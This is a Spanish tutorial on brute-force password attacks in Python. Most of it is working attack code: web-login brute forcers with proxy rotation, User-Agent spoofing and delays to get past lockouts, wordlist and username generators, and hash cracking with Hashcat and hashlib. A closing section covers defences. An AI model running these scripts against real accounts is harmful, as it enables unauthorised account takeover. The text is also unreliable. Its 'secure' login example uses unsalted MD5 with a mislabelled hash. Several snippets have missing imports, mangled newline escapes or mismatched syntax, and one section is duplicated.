Ataques de fuerza bruta con Python: de lo básico a técnicas avanzadas

Ataques de fuerza bruta con Python: de lo básico a técnicas avanzadas

¡Hola! Hoy emprenderemos un viaje fascinante por la creación de ataques de fuerza bruta en Python. Si alguna vez te has preguntado cómo los atacantes adivinan contraseñas o cómo proteger tus datos contra estos ataques, este artículo es para ti. Analizaremos todo paso a paso: desde los conceptos básicos hasta un script funcional con distintas optimizaciones y técnicas avanzadas. Pero pongámonos de acuerdo desde el principio: usa estos conocimientos solo para fines legítimos, por ejemplo, para revisar tus propios sistemas o con fines educativos. ¿Listo? ¡Vamos!

Importante! El uso no autorizado de ataques de fuerza bruta contra sistemas ajenos es ilegal y puede acarrear graves consecuencias legales. Toda la información en este artículo se proporciona únicamente con fines educativos.

¿Qué es un ataque de fuerza bruta?

La fuerza bruta es como un juego de adivinanzas, solo que con un ordenador en lugar de tu amigo que esconde un caramelo. Es un método que prueba todas las combinaciones posibles de contraseñas hasta encontrar la correcta. Imagina una caja fuerte con un dial numérico: giras los diales probando 0001, 0002, 0003 y así hasta que se abre. En nuestro caso, en lugar de una caja fuerte hay una cuenta, y en lugar de los diales hay código en Python.

Suena primitivo, ¿verdad? Pero ahí radica su eficacia: la fuerza bruta no requiere genialidad, solo paciencia y potencia de cálculo. Claro, si la contraseña es larga y compleja, puede pasar mucho tiempo hasta que el ordenador la adivine. Por eso la fuerza bruta no siempre es cuestión de velocidad, sino a veces de suerte o de astucia.

Tipos de ataques de fuerza bruta

Cabe señalar que existen varios tipos de ataques de fuerza bruta:

  1. Fuerza bruta simple — prueba de todas las combinaciones posibles de caracteres.
  2. Ataque por diccionario — prueba contraseñas extraídas de un diccionario precompilado con contraseñas comunes.
  3. Ataque híbrido — combinación de ataque por diccionario con modificaciones (añadir números, símbolos, etc.).
  4. Ataque por máscara — prueba combinaciones según un patrón determinado (por ejemplo, si sabes que la contraseña empieza con "admin" y termina con números).
  5. Ataque con tablas arcoíris (Rainbow table) — uso de hashes precomputados para acelerar el proceso.

En este artículo nos centraremos en los tres primeros tipos, ya que son los más comunes y sencillos de implementar.

Dato interesante: Según estadísticas, más del 50% de los usuarios usan la misma contraseña en varias cuentas, y las contraseñas más populares siguen siendo "123456", "password" y "qwerty". Por eso los ataques por diccionario son tan efectivos: prueban primero las opciones más probables.

Fundamentos de Python para la fuerza bruta

Antes de escribir código para romper contraseñas, asegúrate de estar al día con Python. Es un lenguaje apreciado por su sencillez y legibilidad. Si entiendes cómo funcionan los bucles, las listas y las funciones, genial: ya estás listo. Si no, no te preocupes: lo explicaré en términos sencillos, y para profundizar te recomiendo visitar el sitio oficial de Python.

Para un ataque de fuerza bruta eficiente necesitaremos los siguientes elementos en Python:

  • Bucle for y while para iterar combinaciones
  • El módulo requests para realizar peticiones web
  • El módulo itertools para generar combinaciones
  • El módulo threading o concurrent.futures para multihilo
  • Los módulos time y random para retardos temporales
  • Manejo de excepciones mediante try/except

Veamos primero un ejemplo básico que usa itertools para generar combinaciones:

import itertools

def generate_combinations(charset, length):
    return [''.join(p) for p in itertools.product(charset, repeat=length)]

# Ejemplo: generación de todas las combinaciones de 3 caracteres con dígitos
digits = '0123456789'
combinations = generate_combinations(digits, 3)
print(f"Total de combinaciones: {len(combinations)}")
print(f"Primeras 10 combinaciones: {combinations[:10]}")

Resultado:

Total de combinaciones: 1000
Primeras 10 combinaciones: ['000', '001', '002', '003', '004', '005', '006', '007', '008', '009']

Este código crea todas las combinaciones posibles de tres dígitos del 0 al 9. Entender cómo generar combinaciones es el primer paso para construir un ataque de fuerza bruta.

Preparación para crear un ataque de fuerza bruta

Bien, ¿qué necesitamos para empezar? Primero, Python. Si no lo tienes, descárgalo desde el sitio oficial e instálalo. El proceso es más sencillo que montar un mueble de IKEA, así que no te preocupes.

Luego elige un entorno de desarrollo. Me gusta PyCharm, pero si prefieres VS Code o incluso un editor de texto simple, adelante. Lo importante es que te resulte cómodo. Ahora instalemos las librerías necesarias:

pip install requests
pip install tqdm  # para mostrar progreso
pip install colored  # para salida coloreada en consola

También necesitarás crear un entorno de pruebas seguro. La mejor opción es levantar un servidor web local con un formulario de autenticación o usar plataformas diseñadas para pruebas legales, como VulnHub o HackTheBox.

Consejo: Para probar ataques de fuerza bruta en tu máquina local puedes crear un script simple en Flask que emule un formulario de inicio de sesión:

from flask import Flask, request, render_template
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username == 'admin' and password == 'secret123':
            return 'Welcome, admin!'
        else:
            return 'Invalid credentials'
    return render_template('login.html')

if __name__ == '__main__':
    app.run(debug=True)

Principios de funcionamiento de un ataque de fuerza bruta

¿Cómo funciona la fuerza bruta? Muy simple: defines una lista de contraseñas (o las generas) y las envías una por una para comprobarlas. Si el servidor responde "Welcome" — ¡bingo! Si no — pruebas la siguiente. Es como adivinar el PIN de un teléfono empezando en 0000 y hasta 9999.

Pero hay un matiz: cuanto más larga y compleja sea la contraseña, más tiempo llevará el proceso. Por ejemplo, una contraseña de 4 dígitos tiene 10 000 combinaciones. ¿Y si son 8 caracteres con letras y números? Ya son miles de millones de combinaciones. Por eso la fuerza bruta no es solo código, sino estrategia: qué contraseñas probar primero.

Para entender la magnitud del problema, aquí hay una tabla que muestra el número de combinaciones posibles según la longitud de la contraseña y el conjunto de caracteres usados:

Longitud de la contraseña Solo dígitos (10 caracteres) Dígitos + letras minúsculas (36 caracteres) Dígitos + todas las letras + símbolos especiales (75+ caracteres)
4 10^4 = 10,000 36^4 = 1,679,616 75^4 = 31,640,625
6 10^6 = 1,000,000 36^6 = 2,176,782,336 75^6 = 177,978,515,625
8 10^8 = 100,000,000 36^8 = 2.8 trillones 75^8 = 1,001 trillones
12 10^12 = 1 trillón 36^12 = 4.7 quintillones 75^12 = 31.7 quintillones

Como ves, iterar sobre todas las combinaciones posibles para contraseñas complejas es prácticamente imposible en tiempos razonables. Por eso se usan con frecuencia ataques por diccionario basados en la suposición de que la gente elige contraseñas predecibles.

Creación de un script simple de fuerza bruta

Ahora escribamos un script real de fuerza bruta. Nuestro objetivo será atacar un formulario de inicio de sesión web. Plan paso a paso:

  1. Localizar la URL del formulario y entender cómo funciona. Abre el sitio en el navegador, pulsa F12, ve a la pestaña "Network" y envía un inicio de sesión de prueba con una contraseña incorrecta. Observa qué solicitud envía al servidor.
  2. Anotar los detalles: URL, método (normalmente POST) y nombres de campos (por ejemplo, "username" y "password").
  3. Escribir el código que iterará contraseñas y enviará las peticiones.
  4. Añadir la lógica para detectar el inicio de sesión exitoso.

Aquí un script básico para el sitio http://example.com/login:

import requests
from tqdm import tqdm

def brute_force(url, username, password_list):
    print(f"Comenzando fuerza bruta para el usuario: {username}")
    
    for password in tqdm(password_list, desc="Progreso"):
        data = {"username": username, "password": password}
        
        try:
            response = requests.post(url, data=data, timeout=5)
            
            # Comprobamos el inicio de sesión exitoso
            # En la práctica hay que adaptar esto al sitio concreto
            if "Welcome" in response.text or "Dashboard" in response.text:
                print(f"n[+] Contraseña encontrada: {password}")
                return password
        
        except requests.RequestException as e:
            print(f"n[-] Error en la petición: {e}")
            continue
    
    print("n[-] Contraseña no encontrada")
    return None

if __name__ == "__main__":
    target_url = "http://example.com/login"
    target_username = "admin"
    
    # Creamos la lista de contraseñas
    common_passwords = [
        "123456", "password", "123456789", "12345678", "12345",
        "qwerty", "1234567", "111111", "1234567890", "123123",
        "admin", "letmein", "welcome", "monkey", "1234", "login",
        "abc123", "starwars", "123", "dragon", "passw0rd", "master",
        "hello", "freedom", "whatever", "qazwsx", "trustno1", "654321"
    ]
    
    # Ejecutamos la fuerza bruta
    found_password = brute_force(target_url, target_username, common_passwords)

Este script prueba una lista de contraseñas para un usuario dado y revisa la respuesta del servidor por indicadores de inicio de sesión exitoso. También incluye manejo de errores y una barra de progreso con la librería tqdm para ver cómo avanza el ataque.

Añadiendo carga de contraseñas desde un archivo

Para un ataque de fuerza bruta más realista ampliemos el script para cargar la lista de contraseñas desde un archivo:

import requests
import argparse
from tqdm import tqdm

def load_passwords(file_path):
    try:
        with open(file_path, 'r', encoding='utf-8', errors='ignore') as file:
            return [line.strip() for line in file if line.strip()]
    except FileNotFoundError:
        print(f"[-] Archivo {file_path} no encontrado")
        return []
    except Exception as e:
        print(f"[-] Error al leer el archivo: {e}")
        return []

def brute_force(url, username, password_list, success_indicator, failure_indicator=None):
    print(f"Comenzando fuerza bruta para el usuario: {username}")
    print(f"Número de contraseñas a comprobar: {len(password_list)}")
    
    session = requests.Session()  # Usamos sesión para mantener cookies
    
    for password in tqdm(password_list, desc="Progreso"):
        data = {"username": username, "password": password}
        
        try:
            response = session.post(url, data=data, timeout=5)
            
            if success_indicator in response.text:
                print(f"n[+] Contraseña encontrada: {password}")
                return password
            elif failure_indicator and failure_indicator not in response.text:
                print(f"n[?] Posible contraseña (respuesta inusual): {password}")
                print(f"Código de respuesta: {response.status_code}")
        
        except requests.RequestException as e:
            print(f"n[-] Error en la petición: {e}")
            continue
    
    print("n[-] Contraseña no encontrada")
    return None

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Script simple de fuerza bruta para formularios web")
    parser.add_argument("-u", "--url", required=True, help="URL del formulario objetivo")
    parser.add_argument("-n", "--username", required=True, help="Nombre de usuario para el ataque")
    parser.add_argument("-p", "--passwords", required=True, help="Ruta al archivo con la lista de contraseñas")
    parser.add_argument("-s", "--success", required=True, help="Texto que indica inicio de sesión exitoso")
    parser.add_argument("-f", "--failure", help="Texto que indica inicio de sesión fallido")
    
    args = parser.parse_args()
    
    passwords = load_passwords(args.passwords)
    if passwords:
        found_password = brute_force(args.url, args.username, passwords, args.success, args.failure)

Este script es mucho más potente: permite indicar la URL, el usuario, el archivo de contraseñas y los indicadores de éxito/fracaso por línea de comandos. Ejemplo de uso:

python brute_force.py -u http://example.com/login -n admin -p passwords.txt -s "Welcome back" -f "Invalid credentials"

Consejo: Como archivo de diccionario puedes usar listas preparadas, por ejemplo rockyou.txt, que contiene millones de contraseñas reales recopiladas de diversas filtraciones. Se incluye en distribuciones como Kali Linux o se puede descargar de fuentes públicas. Recuerda que su uso debe limitarse a pruebas en tus propios sistemas.

Ejemplo de ataque por diccionario con generación de nombres de usuario

A menudo no conocemos el nombre de usuario exacto, pero disponemos de información sobre la persona. Aquí un ejemplo que genera posibles nombres de usuario a partir del nombre y apellido:

def generate_usernames(first_name, last_name):
    """Genera variantes posibles de nombre de usuario a partir del nombre y apellido"""
    first_name = first_name.lower()
    last_name = last_name.lower()
    
    usernames = [
        first_name,
        last_name,
        f"{first_name}{last_name}",
        f"{last_name}{first_name}",
        f"{first_name}.{last_name}",
        f"{last_name}.{first_name}",
        f"{first_name}_{last_name}",
        f"{last_name}_{first_name}",
        f"{first_name[0]}{last_name}",
        f"{first_name}{last_name[0]}",
        f"{first_name[0]}.{last_name}",
        f"{first_name}.{last_name[0]}",
        f"{first_name[0]}_{last_name}",
        f"{first_name}_{last_name[0]}"
    ]
    
    # Añadimos variantes con años (por ejemplo, fecha de nacimiento)
    current_year = datetime.datetime.now().year
    years = list(range(current_year - 70, current_year + 1))
    years_short = [str(year)[-2:] for year in years]
    
    year_variations = []
    for username in usernames:
        for year in years_short[-10:]:  # Últimos 10 años en formato corto
            year_variations.append(f"{username}{year}")
    
    usernames.extend(year_variations)
    
    return usernames

Este código puede usarse junto con el script de fuerza bruta para iterar no solo contraseñas, sino también nombres de usuario.

Optimización del ataque de fuerza bruta

Probar contraseñas una por una es como buscar una aguja en un pajar con los ojos vendados. ¿Cómo acelerar el proceso? Aquí algunas ideas de optimización:

  • Multihilo: lanza varios hilos para probar contraseñas en paralelo. Python lo soporta mediante threading o concurrent.futures.
  • Lista de contraseñas inteligente: en lugar de combinaciones aleatorias, usa un diccionario de contraseñas comunes o genera contraseñas basadas en información conocida del objetivo.
  • Evitar bloqueos: los sitios suelen bloquear una IP tras varios intentos fallidos. Usa proxies o añade pausas entre peticiones con time.sleep().
  • Ataque híbrido: combina ataques por diccionario con adición de números o símbolos a contraseñas base.
  • Ataque distribuido: usa varios equipos para repartir la carga sobre distintas partes del diccionario.

Probar contraseñas una por una es como buscar una aguja en un pajar con los ojos vendados. ¿Cómo acelerar el proceso? Aquí algunas ideas:

  • Multihilo: lanza varios hilos para probar contraseñas en paralelo. Python lo soporta mediante threading o concurrent.futures.
  • Lista de contraseñas inteligente: en lugar de combinaciones aleatorias, usa un diccionario de contraseñas comunes (por ejemplo, "rockyou.txt") o añade generación basada en datos conocidos del objetivo.
  • Evitar bloqueos: los sitios suelen bloquear una IP tras varios intentos fallidos. Usa proxies o añade pausas entre peticiones con time.sleep().
  • Ataque híbrido: combina ataques por diccionario con adición de números o símbolos a contraseñas base.

Optimización multihilo

Aquí un ejemplo usando multihilo con concurrent.futures que acelera el proceso al procesar varias contraseñas en paralelo:

import requests
import argparse
import time
import random
from concurrent.futures import ThreadPoolExecutor
from tqdm import tqdm

def try_password(args):
    url, username, password, success_indicator, failure_indicator, proxy = args
    
    proxies = None
    if proxy:
        proxies = {"http": proxy, "https": proxy}
    
    data = {"username": username, "password": password}
    
    try:
        # Añadimos una demora aleatoria para evitar bloqueos
        time.sleep(random.uniform(0.1, 0.5))
        
        # Simulamos distintos navegadores
        user_agents = [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"
        ]
        headers = {"User-Agent": random.choice(user_agents)}
        
        response = requests.post(url, data=data, headers=headers, proxies=proxies, timeout=5)
        
        if success_indicator in response.text:
            return password, True
        elif failure_indicator and failure_indicator not in response.text:
            return password, "maybe"
        
        return password, False
    
    except requests.RequestException:
        return password, False

def brute_force(url, username, password_list, success_indicator, failure_indicator=None, max_workers=10, proxy_list=None):
    print(f"Comenzando fuerza bruta multihilo para el usuario: {username}")
    print(f"Número de contraseñas a comprobar: {len(password_list)}")
    
    proxies = []
    if proxy_list:
        with open(proxy_list, 'r') as f:
            proxies = [line.strip() for line in f if line.strip()]
        print(f"Cargados {len(proxies)} proxies")
    
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        tasks = []
        
        for password in password_list:
            proxy = random.choice(proxies) if proxies else None
            tasks.append((url, username, password, success_indicator, failure_indicator, proxy))
        
        results = list(tqdm(executor.map(try_password, tasks), total=len(tasks), desc="Progreso"))
        
        for password, status in results:
            if status is True:
                print(f"n[+] Contraseña encontrada: {password}")
                return password
            elif status == "maybe":
                print(f"n[?] Posible contraseña (respuesta inusual): {password}")
        
    print("n[-] Contraseña no encontrada")
    return None

def load_passwords(file_path):
    try:
        with open(file_path, 'r', encoding='utf-8', errors='ignore') as file:
            return [line.strip() for line in file if line.strip()]
    except FileNotFoundError:
        print(f"[-] Archivo {file_path} no encontrado")
        return []
    except Exception as e:
        print(f"[-] Error al leer el archivo: {e}")
        return []

def generate_hybrid_passwords(base_passwords, num_digits=3):
    """Crea contraseñas híbridas añadiendo dígitos a contraseñas base"""
    hybrid_passwords = []
    
    for base in base_passwords:
        # Añadimos la contraseña original
        hybrid_passwords.append(base)
        
        # Añadimos dígitos al final
        for i in range(10**num_digits):
            # Formateamos el número con ceros a la izquierda
            suffix = str(i).zfill(num_digits)
            hybrid_passwords.append(f"{base}{suffix}")
        
        # Variantes con sustitución de letras por números (leetspeak)
        if 'a' in base.lower():
            hybrid_passwords.append(base.lower().replace('a', '4'))
        if 'e' in base.lower():
            hybrid_passwords.append(base.lower().replace('e', '3'))
        if 'i' in base.lower():
            hybrid_passwords.append(base.lower().replace('i', '1'))
        if 'o' in base.lower():
            hybrid_passwords.append(base.lower().replace('o', '0'))
    
    return hybrid_passwords

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Script multihilo de fuerza bruta para formularios web")
    parser.add_argument("-u", "--url", required=True, help="URL del formulario objetivo")
    parser.add_argument("-n", "--username", required=True, help="Nombre de usuario para el ataque")
    parser.add_argument("-p", "--passwords", required=True, help="Ruta al archivo con la lista de contraseñas")
    parser.add_argument("-s", "--success", required=True, help="Texto que indica inicio de sesión exitoso")
    parser.add_argument("-f", "--failure", help="Texto que indica inicio de sesión fallido")
    parser.add_argument("-w", "--workers", type=int, default=10, help="Número de hilos trabajadores")
    parser.add_argument("-x", "--proxy", help="Archivo con lista de proxies")
    parser.add_argument("--hybrid", action="store_true", help="Usar ataque híbrido")
    
    args = parser.parse_args()
    
    passwords = load_passwords(args.passwords)
    
    if args.hybrid:
        print("Generando contraseñas híbridas...")
        passwords = generate_hybrid_passwords(passwords[:100])  # Limitado como ejemplo
        print(f"Generadas {len(passwords)} contraseñas híbridas")
    
    if passwords:
        found_password = brute_force(args.url, args.username, passwords, 
                                     args.success, args.failure, 
                                     args.workers, args.proxy)

Ejemplo de uso del script multihilo:

python multi_threaded_brute_force.py -u http://example.com/login -n admin -p passwords.txt -s "Welcome" -f "Invalid" -w 20 --hybrid

Este script tiene varias ventajas sobre la versión básica:

  • La multihilo acelera el proceso al procesar varias contraseñas en paralelo
  • Retrasos aleatorios y cambio de User-Agent ayudan a sortear protecciones simples
  • Soporte de proxies para ocultar la IP real
  • El ataque híbrido amplía el diccionario base de contraseñas

Uso de GPU para acelerar la fuerza bruta

Para ciertos tipos de ataques (por ejemplo, romper hashes de contraseñas) se puede aprovechar la potencia de la GPU. Aunque esto va más allá del Python normal, es útil mencionar herramientas que lo permiten:

  • Hashcat — herramienta potente para romper hashes de contraseñas con aceleración GPU
  • John the Ripper — herramienta popular de código abierto para romper contraseñas
  • PyOpenCL/PyCUDA — librerías Python para trabajar con GPU

Aquí un ejemplo de invocación de Hashcat desde un script Python:

import subprocess
import os

def crack_hash_with_hashcat(hash_file, wordlist, hash_type=0):
    """
    Usa Hashcat para romper hashes de contraseñas
    hash_type: tipo de hash (0 - MD5, 100 - SHA1, 1000 - NTLM, etc.)
    """
    try:
        # Comprobamos que Hashcat esté instalado
        subprocess.run(['hashcat', '--version'], check=True, stdout=subprocess.PIPE)
        
        # Formamos el comando
        cmd = [
            'hashcat',
            '-a', '0',              # Modo de ataque: 0 - ataque por diccionario
            '-m', str(hash_type),   # Tipo de hash
            '-o', 'cracked.txt',    # Archivo de salida
            '--outfile-format=2',   # Formato de salida: hash:password
            hash_file,              # Archivo con hashes
            wordlist                # Diccionario de contraseñas
        ]
        
        # Ejecutamos Hashcat
        print(f"Iniciando Hashcat para romper hashes en {hash_file}...")
        process = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        
        if process.returncode == 0:
            print("Hashcat finalizó correctamente")
            if os.path.exists('cracked.txt'):
                with open('cracked.txt', 'r') as f:
                    cracked = f.read().strip()
                    if cracked:
                        print(f"Contraseñas descifradas: {cracked.count(os.linesep) + 1}")
                        return True
            else:
                print("No se encontraron contraseñas")
        else:
            print(f"Error al ejecutar Hashcat: {process.stderr}")
        
        return False
    
    except subprocess.CalledProcessError:
        print("Hashcat no está instalado o no se encuentra en PATH")
        return False
    except Exception as e:
        print(f"Ocurrió un error: {str(e)}")
        return False

# Ejemplo de uso
# crack_hash_with_hashcat('hashes.txt', 'rockyou.txt', 1000)

Este código permite aprovechar la potencia de Hashcat desde Python para romper hashes de contraseñas con GPU, lo que puede ser cientos de veces más rápido que la CPU.

Técnicas avanzadas de fuerza bruta

1. Ataques con tablas arcoíris (Rainbow Tables)

Las tablas arcoíris son tablas precalculadas para invertir funciones hash. En lugar de generar y comprobar hashes en tiempo real, se puede buscar la contraseña original en la tabla a partir de su hash.

import rainbowtables  # Biblioteca hipotética para trabajar con tablas arcoíris

def crack_with_rainbow_tables(hash_value, table_path):
    """Busca la contraseña correspondiente al hash en una tabla arcoíris"""
    try:
        rainbow = rainbowtables.RainbowTable(table_path)
        password = rainbow.lookup(hash_value)
        if password:
            print(f"[+] Contraseña encontrada: {password}")
            return password
        else:
            print("[-] Contraseña no encontrada en la tabla arcoíris")
            return None
    except Exception as e:
        print(f"[-] Error al trabajar con la tabla arcoíris: {e}")
        return None

Nota: en Python no existe una librería estándar para tablas arcoíris; el código anterior solo muestra el concepto. En la práctica se usan herramientas especializadas como RainbowCrack.

2. Ataques por máscara

El ataque por máscara se usa cuando se conoce parte de la estructura de la contraseña, por ejemplo la longitud o ciertos caracteres.

import itertools
import string

def generate_by_mask(mask):
    """
    Genera contraseñas por máscara, donde:
    ? - cualquier carácter
    d - dígito (0-9)
    l - letra minúscula (a-z)
    u - letra mayúscula (A-Z)
    s - símbolo especial (!@#$%)
    """
    replacements = {
        'd': string.digits,
        'l': string.ascii_lowercase,
        'u': string.ascii_uppercase,
        's': '!@#$%^&*()-_=+[]{}|;:,.<>?/',
        '?': string.digits + string.ascii_letters + '!@#$%^&*()-_=+[]{}|;:,.<>?/'
    }
    
    # Parseamos la máscara en elementos
    parts = []
    i = 0
    while i < len(mask):
        if mask[i] == '%':
            if i + 1 < len(mask) and mask[i + 1] in replacements:
                parts.append(replacements[mask[i + 1]])
                i += 2
            else:
                parts.append('%')
                i += 1
        else:
            parts.append(mask[i])
            i += 1
    
    # Generamos todas las combinaciones
    for combo in itertools.product(*[p if isinstance(p, str) and len(p) > 1 else [p] for p in parts]):
        yield ''.join(combo)

# Ejemplo de uso
# Generación de contraseñas del tipo "admin" + 3 dígitos
for password in generate_by_mask("admin%d%d%d"):
    # Aquí se puede comprobar cada contraseña
    print(password)

3. Ataques contra contraseñas hasheadas

Si dispones de un hash de contraseña (por ejemplo, extraído de una base de datos), puedes intentar romperlo generando hashes de contraseñas y comparándolos con el hash objetivo:

import hashlib
from tqdm import tqdm

def crack_hash(target_hash, wordlist, hash_type='md5'):
    """Intenta encontrar la contraseña que corresponde al hash dado"""
    print(f"Rompimiento de hash: {target_hash}")
    
    hash_functions = {
        'md5': lambda x: hashlib.md5(x.encode()).hexdigest(),
        'sha1': lambda x: hashlib.sha1(x.encode()).hexdigest(),
        'sha256': lambda x: hashlib.sha256(x.encode()).hexdigest()
    }
    
    if hash_type not in hash_functions:
        print(f"[-] Tipo de hash no soportado: {hash_type}")
        return None
    
    hash_func = hash_functions[hash_type]
    
    try:
        with open(wordlist, 'r', encoding='utf-8', errors='ignore') as f:
            for password in tqdm(f, desc=f"Probando contraseñas ({hash_type})"):
                password = password.strip()
                hashed = hash_func(password)
                
                if hashed == target_hash:
                    print(f"n[+] Contraseña encontrada: {password}")
                    return password
        
        print("n[-] Contraseña no encontrada")
        return None
    
    except Exception as e:
        print(f"[-] Error: {e}")
        return None

# Ejemplo de uso
# target_hash = "5f4dcc3b5aa765d61d8327deb882cf99"  # md5("password")
# crack_hash(target_hash, "wordlist.txt", "md5")

Protección contra ataques de fuerza bruta

Ahora que hemos visto varios métodos de fuerza bruta, hablemos de cómo protegerse. Aquí algunas medidas eficaces:

  1. Contraseñas complejas: usa contraseñas largas (desde 12 caracteres) con combinación de letras, números y símbolos.
  2. Contraseñas únicas: no uses la misma contraseña para distintos servicios.
  3. Autenticación de dos factores (2FA): añade un segundo factor de protección además de la contraseña.
  4. CAPTCHA: añade una verificación "no soy un robot" tras varios intentos fallidos.
  5. Límite de intentos: bloquea la cuenta o la IP tras un número determinado de intentos fallidos.
  6. Retrasos temporales: incrementa el tiempo de espera entre intentos.
  7. Monitoreo y registro: vigila actividad sospechosa y configura alertas.

Ejemplo de implementación de protección en Python

Aquí un ejemplo de una aplicación Flask simple con medidas contra la fuerza bruta:

from flask import Flask, request, render_template, session, redirect
import time
from functools import wraps
import hashlib
import os

app = Flask(__name__)
app.secret_key = os.urandom(24)

# Simulación de base de datos de usuarios
users = {
    "admin": {
        # Hash de la contraseña "secure_password123"
        "password_hash": "5f4dcc3b5aa765d61d8327deb882cf99",
        "failed_attempts": 0,
        "last_attempt": 0
    }
}

# Configuración de protección
MAX_FAILED_ATTEMPTS = 5  # Máximo de intentos fallidos
LOCKOUT_TIME = 300  # Tiempo de bloqueo en segundos (5 minutos)
ATTEMPT_RESET_TIME = 3600  # Tiempo para resetear contador de intentos (1 hora)

def is_account_locked(username):
    """Comprueba si la cuenta está bloqueada"""
    if username not in users:
        return False
    
    user = users[username]
    
    # Si se supera el número de intentos y no ha expirado el tiempo de bloqueo
    if user["failed_attempts"] >= MAX_FAILED_ATTEMPTS:
        time_passed = time.time() - user["last_attempt"]
        if time_passed < LOCKOUT_TIME:
            return True
        else:
            # Reseteamos el contador si ha pasado suficiente tiempo
            user["failed_attempts"] = 0
    
    return False

def login_required(f):
    """Decorador para proteger rutas que requieren autenticación"""
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if "username" not in session:
            return redirect("/login")
        return f(*args, **kwargs)
    return decorated_function

@app.route("/", methods=["GET"])
@login_required
def index():
    return f"¡Bienvenido, {session['username']}!"

@app.route("/login", methods=["GET", "POST"])
def login():
    error = None
    
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        
        # Comprobamos si la cuenta está bloqueada
        if is_account_locked(username):
            remaining_time = int(LOCKOUT_TIME - (time.time() - users[username]["last_attempt"]))
            return render_template("login.html", error=f"La cuenta está bloqueada. Intenta de nuevo en {remaining_time} segundos")
        
        # Verificamos credenciales
        if username in users:
            password_hash = hashlib.md5(password.encode()).hexdigest()
            
            if password_hash == users[username]["password_hash"]:
                # Inicio de sesión exitoso
                session["username"] = username
                users[username]["failed_attempts"] = 0  # Reseteamos contador
                return redirect("/")
            else:
                # Intento fallido
                users[username]["failed_attempts"] += 1
                users[username]["last_attempt"] = time.time()
                error = f"Contraseña incorrecta. Intentos restantes: {MAX_FAILED_ATTEMPTS - users[username]['failed_attempts']}"
        else:
            error = "Usuario no encontrado"
    
    return render_template("login.html", error=error)

@app.route("/logout")
def logout():
    session.pop("username", None)
    return redirect("/login")

if __name__ == "__main__":
    app.run(debug=True)

Este código implementa varios niveles de protección:

  • Límite de intentos fallidos
  • Bloqueo temporal de la cuenta
  • Hashing de contraseñas para almacenamiento seguro
  • Rutas protegidas que requieren autenticación

Seguridad y ética

Hablemos en serio: los ataques de fuerza bruta no son un juego. Usarlos sin el permiso del propietario del sistema es ilegal y puede acarrear consecuencias legales graves, incluida responsabilidad penal. No escribo esto para que te conviertas en un atacante malicioso, sino para que entiendas cómo funcionan estos ataques y cómo defenderte de ellos.

Importante! El uso legítimo de ataques de fuerza bruta se limita a los siguientes escenarios:

  • Revisar la seguridad de tus propios sistemas
  • Realizar pruebas de penetración con permiso explícito del propietario
  • Recuperar acceso a tus propias cuentas o datos
  • Formación e investigación en un entorno aislado

¿Cómo protegerte? Usa contraseñas largas (12+ caracteres) con letras, números y símbolos. Activa la autenticación de dos factores: es como una cerradura con dos llaves. Y vigila actividad sospechosa en tus cuentas.

Si planeas probar la seguridad de sistemas, sigue principios éticos:

  1. Obtén permiso: siempre consigue el consentimiento por escrito del propietario antes de realizar pruebas.
  2. Define límites: especifica claramente qué está permitido y qué no.
  3. No causes daño: evita acciones que puedan interrumpir el servicio o causar pérdida de datos.
  4. Informa de las vulnerabilidades: si encuentras una falla, repórtala responsablemente al propietario.
  5. Respeta la confidencialidad: no divulgues datos personales a los que puedas acceder.

Recuerda que el hacking ético (o pentesting) busca fortalecer la seguridad, no vulnerarla. Usa los conocimientos de este artículo solo con fines legítimos.

Técnicas avanzadas de protección

Además de las medidas ya mencionadas, existen enfoques más avanzados:

  • Usar sal (salt) en el hashing: añadir una cadena aleatoria única a la contraseña antes de hashearla hace inútiles las tablas arcoíris.
  • Funciones de hashing lentas: algoritmos como bcrypt, Argon2 o PBKDF2 están diseñados para ralentizar ataques de fuerza bruta.
  • Análisis de comportamiento: detectar actividad sospechosa según hora, IP, dispositivo, etc.
  • Cuentas honeypot: crear cuentas falsas para detectar atacantes.

Aquí un ejemplo usando bcrypt para almacenar contraseñas de forma segura:

import bcrypt

def hash_password(password):
    """Crea un hash seguro de la contraseña con sal"""
    # Generamos la sal
    salt = bcrypt.gensalt()
    # Hasheamos la contraseña con la sal
    hashed = bcrypt.hashpw(password.encode(), salt)
    return hashed.decode()

def verify_password(password, hashed):
    """Verifica si la contraseña coincide con el hash"""
    return bcrypt.checkpw(password.encode(), hashed.encode())

# Ejemplo de uso
password = "my_secure_password"
hashed_password = hash_password(password)
print(f"Hash de la contraseña: {hashed_password}")

# Verificación de la contraseña
is_valid = verify_password(password, hashed_password)
print(f"Contraseña correcta: {is_valid}")
is_valid = verify_password("wrong_password", hashed_password)
print(f"Contraseña incorrecta: {is_valid}")

Conclusión

¡Eso es todo! Hemos recorrido desde "¿qué es la fuerza bruta?" hasta scripts en Python funcionales con diversas optimizaciones y métodos de ataque. También vimos medidas para protegerse y aspectos éticos de las pruebas de seguridad.

Conclusiones clave:

  • Los ataques de fuerza bruta siguen siendo un método común de intrusión, a pesar de su simplicidad
  • Python ofrece herramientas potentes para implementar distintos tipos de ataques de fuerza bruta
  • La optimización del proceso puede acelerar considerablemente el ataque
  • Existen muchas medidas eficaces para protegerse contra ataques de fuerza bruta
  • Usar ataques de fuerza bruta sin permiso es ilegal y poco ético

¿Quieres profundizar? Visita OWASP o prueba retos legales de hacking como CTF (Capture The Flag). Hay muchas plataformas para practicar legalmente, por ejemplo:

Y recuerda: el conocimiento es poder, pero solo si se usa con responsabilidad. ¡Buena suerte y hasta el próximo artículo!

Recursos adicionales

  • Hashcat — herramienta potente para romper hashes de contraseñas
  • CeWL — herramienta para generar diccionarios a partir del contenido de un sitio web
  • SecLists — colección de listas y diccionarios para pruebas de seguridad
